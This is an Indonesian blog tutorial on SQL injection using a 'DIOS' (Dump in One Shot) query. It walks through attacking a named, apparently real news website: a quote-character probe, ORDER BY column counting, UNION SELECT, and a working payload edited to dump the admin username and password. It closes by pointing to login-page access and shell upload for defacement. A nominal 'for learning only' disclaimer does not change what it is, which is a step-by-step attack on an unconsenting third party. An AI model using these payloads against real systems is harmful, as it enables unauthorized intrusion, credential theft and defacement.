SQL Injection dengan DIOS

{ SQL Injection dengan DIOS (Dump in One Shoot) }

Assalamualaikum..

Okee bertemu lagi dengan saya ./MssXCode
yang biasa dipanggil Gans gak tau kenapa :v Hari ini saya akan membagikan tutorial SQL Injection dengan DIOS (Dump in One Shoot).


{ Pengertian }

Mungkin kalian ada yang bertanya, apa itu DIOS? DIOS adalah singkatan dari Dump in One Shoot. Kalo di translate ke bahasa Indonesia menjadi Buang dalam Satu Tembakan. Jadi, DIOS fungsinya untuk mengetahui semua table dan column hanya dengan satu perintah. Atau kalau bahasa sagnenya, ngecrot cuma sekali tapi yang keluar banyak :v 


{ Test Vuln }

Awalnya kita harus mencari web yang memiliki celah SQL Injection. Bisa dengan dorking atau pentest. Disini saya sudah dapat web yang vuln terhadap SQLI. Ini dia : https://lakhamindonesianews.id/single.php?id=124

Selanjutnya, kita tambahkan ' di ujung URL untuk test apakah web tersebut vuln SQLI atau tidak. Tekan Alt+X!


Setelah kita tambahkan ' tadi,tampilan web berubah menjadi blank. Ini adalah salah satu pesan error yang menandakan bahwa web tersebut memiliki celah SQL Injection. Lets play..


{ Order By }

Seperti biasa, kita mulai dari Order By. Tahap ini bertujuan untuk mengetahui berapa jumlah column database web tersebut. Begini caranya :
  1. https://lakhamindonesianews.id/single.php?id=124' order by 1-- - (web kembali normal)
  2. https://lakhamindonesianews.id/single.php?id=124' order by 2-- - (web normal)
  3. https://lakhamindonesianews.id/single.php?id=124' order by 3-- - (masih normal)
  4. https://lakhamindonesianews.id/single.php?id=124' order by 4-- - (masih juga)
  5. https://lakhamindonesianews.id/single.php?id=124' order by 5-- - (masih)
  6. https://lakhamindonesianews.id/single.php?id=124' order by 6-- - (sama)
  7. https://lakhamindonesianews.id/single.php?id=124' order by 7-- - (lagi)
  8. https://lakhamindonesianews.id/single.php?id=124' order by 8-- - (masih lagi)
  9. https://lakhamindonesianews.id/single.php?id=124' order by 9-- - (lagi-lagi normal)
  10. https://lakhamindonesianews.id/single.php?id=124' order by 10-- - (...)
  11. https://lakhamindonesianews.id/single.php?id=124' order by 11-- - (-_-)
  12. https://lakhamindonesianews.id/single.php?id=124' order by 12-- - (sabar..)
  13. https://lakhamindonesianews.id/single.php?id=124' order by 13-- - (masih sabar..)
  14. https://lakhamindonesianews.id/single.php?id=124' order by 14-- - (mulai ngantuk :v)
  15. https://lakhamindonesianews.id/single.php?id=124' order by 15-- - (error)

Yuhuu akhirnya web kembali error ketika kita memberi perintah order by 15-- -. Itu artinya, web tersebut memiliki 14 column database. 


{ Union Select }

Kita masuk ke tahap Union Select. Tugas kita disini adalah mengurutkan jumlah column database yang kita dapatkan dari tahap Order By. Karena tadi kita tau bahwa column databasenya ada 14, maka menjadi : https://lakhamindonesianews.id/single.php?id=-124' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14-- -. Angka 1,2,3,4,5,6,7,8,9,10,11,12,13,14 berasal dari jumlah column database yang kita cari tadi. Dan jangan lupa tambahkan tanda - di belakang angka parameternya.


Nahh halaman web kembali berubah dan kini menampilkan angka 4,6,2,9, dan 5. Angka-angka ini nantinya akan kita jadikan lubang untuk mengintip isi database web tersebut. 

Sekarang kita pilih salah satu angka, bebas yang mana saja. Dan saya memilih angka 5. Sekarang, kita ganti angka 5 tersebut dengan DIOS. Bagaimana caranya? Klik : UNION BASED > DIOS MySQL > DIOS by Madblood. Disini saya menggunakan DIOS Madblood. Kalian boleh menggunakan DIOS lainnya seperti DIOS Zen, DIOS Makman dan lainnya. Tekan Alt+X.


And boom.. Kita berhasil ngeluarin semua table dan column dari database web tersebut. Kalau gini udah gampang, masgan. Kita tinggal cari aja table dan column yang berhubungan dengan username dan password admin. Sekedar tambahan, biasanya table dan column yang berisi username dan password admin itu berada di bagian bawah. Walau terkadang ada juga yang di atas bahkan di tengah. Jadi scroll terus ke bawah sampai kita jumpa table dan column yang tepat.

Sekarang, perhatikan baik-baik query DIOS yang kita gunakan.
(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))
Kita asumsikan tanda : sebagai pemisah (lihat gambar). Tulisan yang berada di sebelah kiri tanda : nantinya kita gantikan pada query information_schema.columns yang berada di DIOS. Sedangkan tulisan yang berada di sebelah kanan tanda : kita masukkan pada query table_name dan column_name. Karena tujuan kita untuk mendapatkan username dan password admin, kita gantikan information_schema.columns dengan user. Untuk table_name ganti menjadi user_namedan column_name ganti menjadi user_pass. Maka querynya menjadi seperti ini :
(Select+export_set(5,@:=0,(select+count(*)from(user)where@:=export_set(5,export_set(5,@,user_name,0x3c6c693e,2),user_pass,0xa3a,2)),@,2)) 

Nahh kan kita berhasil dump username dan password admin. Sekarang kembali pada tujuan masing-masing. Kalo tujuan kita deface ya cari halaman login admin terus up shell. Tapi artikel ini bertujuan untuk pembelajaram. Dan kepada adminweb yang webnya saya jadikan target, mohon untuk segera menutup bug tersebut. Karena bisa saja dimanfaatkan oleh orang yang tidak bertanggung jawab.


{ Penutup }

Okee semuanya sekian tutorial  mengenai SQL Injection dengan DIOS (Dump in One Shoot). Sekali lagi saya ingatkan, tutorial ini semata-mata hanya sebagai pembelajaran. Saya tidak bertanggung jawab atas tindakan ilegal yang kalian lakukan di luar sana. Makasih sudah berkunjung diblog saya ^_^
Wassalamualaikum

Subscribe to receive free email updates:

0 Response to "SQL Injection dengan DIOS"

Post a Comment